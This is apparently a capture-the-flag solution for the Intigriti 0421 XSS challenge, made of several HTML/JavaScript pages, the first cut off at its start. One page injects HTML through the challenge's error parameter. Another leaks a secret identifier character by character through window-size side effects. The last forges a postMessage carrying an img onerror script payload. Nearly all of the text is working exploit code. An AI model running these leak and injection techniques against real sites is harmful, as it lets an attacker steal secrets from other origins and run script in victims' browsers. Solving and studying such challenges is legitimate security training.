                setTimeout(resolve, 100);
              }
            } catch (e) {}
          });
        });
      }

      async function waitUntilWriteable(windowReference) {
        return new Promise((resolve) => {
          const handle = setInterval(() => {
            try {
              if (windowReference.name.length) {
                clearInterval(handle);
                setTimeout(resolve, 100);
              }
            } catch (e) {}
          });
        });
      }

      (async () => {
        checkWindow = window.open(`http://localhost:3000/opener.html`, "1");
        await waitForLocationChange(
          checkWindow,
          `http://localhost:3000/opener.html`
        );
        checkWindow.location = `https://challenge-0421.intigriti.io/style.css`;
      })();
    </script>
  </body>
</html>
<!DOCTYPE html>
<html>
  <head>
    <link rel="icon" href="data:;base64,iVBORw0KGgo=" />
  </head>
  <body>
    <script>
      if (location.search.includes("not") === false) {
        w = window.open(
          `https://challenge-0421.intigriti.io/?error=` +
            encodeURIComponent(
              `<object id=poc data=http://localhost:3000/solver.html width=101 height=101></object>
              <video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 
                ontimeupdate=window.opener.name<identifier?poc.height++:poc.width++>`
            ),
          "_blank"
        );
      }
    </script>
  </body>
</html>
<!DOCTYPE html>
<html>
  <head>
    <link rel="icon" href="data:;base64,iVBORw0KGgo=" />
  </head>
  <body>
    <script>
      let lastHeight = 101;
      let lastWidth = 101;
      const chars = "0123456789abcdefghijklmnopqrstuvwxyz{".split("");
      let solvedIdentifier = "";

      let checks = 0;
      let checksNeeded = 15;

      function trySolve() {
        try {
          window.parent.postMessage(
            {
              type: "waf",
              identifier: solvedIdentifier,
              safe: true,
              str: "<img src=x onerror=alert('flag{THIS_IS_THE_FLAG}')>",
            },
            "*"
          );
        } catch (e) {}
      }

      async function foundChar(char) {
        console.log("FOUND CHAR: ", char);
        solvedIdentifier = `${solvedIdentifier}${char}`;
        console.log("TOTAL SOLVED", solvedIdentifier);
        await window.parent.opener.opener.setIdentifier(`${solvedIdentifier}1`);

        if (solvedIdentifier.length > 12) trySolve();
      }

      let locked = false;
      setInterval(async () => {
        const { innerHeight, innerWidth } = window;
        if (innerHeight === lastHeight && innerWidth === lastWidth) {
          return;
        }
        checks++;
        if (checks < checksNeeded || checks % checksNeeded !== 0) {
          return;
        }
        const currentIdentifier = window.parent.opener.opener.getIdentifier();

        if (solvedIdentifier.length >= currentIdentifier.length) {
          return;
        }

        const currentChar = currentIdentifier.substr(-1);
        const targetedChar = chars[chars.indexOf(currentChar) - 1];
        if (!targetedChar) return;
        const nextChar = chars[chars.indexOf(currentChar) + 1];

        console.log("currentIdentifier:", currentIdentifier);
        console.log("currentChar:", currentChar);
        console.log("targetedChar:", targetedChar);
        console.log("nextChar:", nextChar);

        if (innerWidth > lastWidth) {
          setTimeout(() => (locked = false), 1000);
          if (!locked) {
            locked = true;
            lastWidth = innerWidth + 100;
            await foundChar(targetedChar);
          }
          return;
        }

        if (innerHeight > lastHeight) {
          locked = false;

          await window.parent.opener.opener.setIdentifier(
            `${solvedIdentifier}${nextChar}`
          );
          lastWidth = innerWidth;
          lastHeight = innerHeight;
        }
      }, 100);
    </script>
  </body>
</html>
(完)